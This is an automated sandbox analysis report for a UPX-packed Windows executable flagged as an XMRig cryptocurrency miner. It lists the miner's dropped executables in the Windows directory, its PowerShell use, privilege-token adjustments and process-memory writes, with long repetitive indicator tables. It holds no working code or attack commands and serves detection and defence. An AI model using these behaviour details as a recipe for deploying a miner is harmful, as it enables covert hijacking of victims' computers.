Malware Analysis Report

2025-04-19 18:27

Sample ID 240527-ghr9dsab41
Target 2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe
SHA256 31009610bd1eddee20f3cdae2b3eede528b9575565bdca5ac7bdf853f91a64e9
Tags
miner upx xmrig execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

31009610bd1eddee20f3cdae2b3eede528b9575565bdca5ac7bdf853f91a64e9

Threat Level: Known bad

The file 2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe was found to be: Known bad.

Malicious Activity Summary

miner upx xmrig execution

XMRig Miner payload

Xmrig family

xmrig

XMRig Miner payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

UPX packed file

Executes dropped EXE

Loads dropped DLL

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Drops file in Windows directory

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Modifies data under HKEY_USERS

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-27 05:48

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A

Xmrig family

xmrig

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-27 05:48

Reported

2024-05-27 05:51

Platform

win7-20240508-en

Max time kernel

150s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\System\ZPeFTWK.exe N/A
N/A N/A C:\Windows\System\InyqDUE.exe N/A
N/A N/A C:\Windows\System\pnaHWXe.exe N/A
N/A N/A C:\Windows\System\qBJlzyf.exe N/A
N/A N/A C:\Windows\System\TjPMQqA.exe N/A
N/A N/A C:\Windows\System\YMlOZXa.exe N/A
N/A N/A C:\Windows\System\JdVBkYA.exe N/A
N/A N/A C:\Windows\System\aOBhujo.exe N/A
N/A N/A C:\Windows\System\MQTYcJl.exe N/A
N/A N/A C:\Windows\System\ocjGChp.exe N/A
N/A N/A C:\Windows\System\lKBkTHN.exe N/A
N/A N/A C:\Windows\System\mHEBzYn.exe N/A
N/A N/A C:\Windows\System\eVQOcWe.exe N/A
N/A N/A C:\Windows\System\zCjwMAx.exe N/A
N/A N/A C:\Windows\System\ZVAxTeC.exe N/A
N/A N/A C:\Windows\System\Vfeprti.exe N/A
N/A N/A C:\Windows\System\mUrPEjF.exe N/A
N/A N/A C:\Windows\System\exNwpkY.exe N/A
N/A N/A C:\Windows\System\JZTiKCN.exe N/A
N/A N/A C:\Windows\System\DFrbVwn.exe N/A
N/A N/A C:\Windows\System\WyDirGb.exe N/A
N/A N/A C:\Windows\System\MAqYQNX.exe N/A
N/A N/A C:\Windows\System\xuZhnsR.exe N/A
N/A N/A C:\Windows\System\uqupWZK.exe N/A
N/A N/A C:\Windows\System\XEwqcBe.exe N/A
N/A N/A C:\Windows\System\rDVDJYr.exe N/A
N/A N/A C:\Windows\System\YqnVVqm.exe N/A
N/A N/A C:\Windows\System\FxqxJzX.exe N/A
N/A N/A C:\Windows\System\lLyTidn.exe N/A
N/A N/A C:\Windows\System\YVkoAhD.exe N/A
N/A N/A C:\Windows\System\BWXlrTf.exe N/A
N/A N/A C:\Windows\System\BxrOSwy.exe N/A
N/A N/A C:\Windows\System\lXbsKZc.exe N/A
N/A N/A C:\Windows\System\ScDIAbV.exe N/A
N/A N/A C:\Windows\System\aGCWGLk.exe N/A
N/A N/A C:\Windows\System\uNTufTK.exe N/A
N/A N/A C:\Windows\System\OkDnPSm.exe N/A
N/A N/A C:\Windows\System\OxVXgEL.exe N/A
N/A N/A C:\Windows\System\VtGqcyj.exe N/A
N/A N/A C:\Windows\System\JYRUMhD.exe N/A
N/A N/A C:\Windows\System\lnpMoAp.exe N/A
N/A N/A C:\Windows\System\YTgByyL.exe N/A
N/A N/A C:\Windows\System\HxXoaLX.exe N/A
N/A N/A C:\Windows\System\lMqTFnL.exe N/A
N/A N/A C:\Windows\System\aAQkSwp.exe N/A
N/A N/A C:\Windows\System\WBYzILT.exe N/A
N/A N/A C:\Windows\System\EOMRKuc.exe N/A
N/A N/A C:\Windows\System\ThvsOyK.exe N/A
N/A N/A C:\Windows\System\FqsaKjt.exe N/A
N/A N/A C:\Windows\System\yfjlILw.exe N/A
N/A N/A C:\Windows\System\ypZWhjL.exe N/A
N/A N/A C:\Windows\System\cgOQFvt.exe N/A
N/A N/A C:\Windows\System\nppmQur.exe N/A
N/A N/A C:\Windows\System\pcScGLy.exe N/A
N/A N/A C:\Windows\System\kKXwitt.exe N/A
N/A N/A C:\Windows\System\LVPkKGh.exe N/A
N/A N/A C:\Windows\System\yqFeNuW.exe N/A
N/A N/A C:\Windows\System\rCMAZzu.exe N/A
N/A N/A C:\Windows\System\EVTktck.exe N/A
N/A N/A C:\Windows\System\NODmEIG.exe N/A
N/A N/A C:\Windows\System\wMPFqzh.exe N/A
N/A N/A C:\Windows\System\aBxtPQo.exe N/A
N/A N/A C:\Windows\System\HOAocQD.exe N/A
N/A N/A C:\Windows\System\opxGuug.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\System\DMkrwAX.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dIrFPxr.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qdmMQhs.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\AykRqyF.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\UGoZaMv.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bDmNLTh.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\pwvAWmN.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HPaxWig.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\uSsjhIW.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ireeLqy.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\LYZMswj.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\AZDIMtP.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\AyeEjXp.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\JWadbeG.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HkYtiKS.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HDheYwh.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\EFdaZnN.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ozfXRKZ.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zcVconJ.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qfxgOLf.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dtuPsiH.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SpQcJQf.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\Droqsof.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\VxWkFvY.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dAwUQRi.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bXaGlDm.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\JaUmBJy.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gVjpEUa.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\EGZmvAq.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\cowBTvD.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MuzxHqr.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HWAZxit.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SOLdjcD.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\LyQUrQC.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\fWRCVro.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\IZOkbxu.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\XTclHHy.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QjqRojB.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PWLIzmi.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\UUZlxvg.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\COLawnx.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\AIdpZnR.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rJNsHXR.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\IDNokoz.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CDPvjLL.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HrXFrEA.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\LdwEexZ.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\hDSSIOv.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\VDkmjID.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xKmpiIk.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\IIGTTOS.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\WqdPABm.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\XZaxMcI.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rAPGver.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\VorgrQy.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YbFoYNv.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CtASJqU.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ctSsDXp.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\BjrDyPg.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YUCEkmV.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\GpQhUrl.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PTKIAXq.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MImfMyM.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HpDpZAN.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1612 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1612 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1612 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1612 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ZPeFTWK.exe
PID 1612 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ZPeFTWK.exe
PID 1612 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ZPeFTWK.exe
PID 1612 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\InyqDUE.exe
PID 1612 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\InyqDUE.exe
PID 1612 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\InyqDUE.exe
PID 1612 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\pnaHWXe.exe
PID 1612 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\pnaHWXe.exe
PID 1612 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\pnaHWXe.exe
PID 1612 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\qBJlzyf.exe
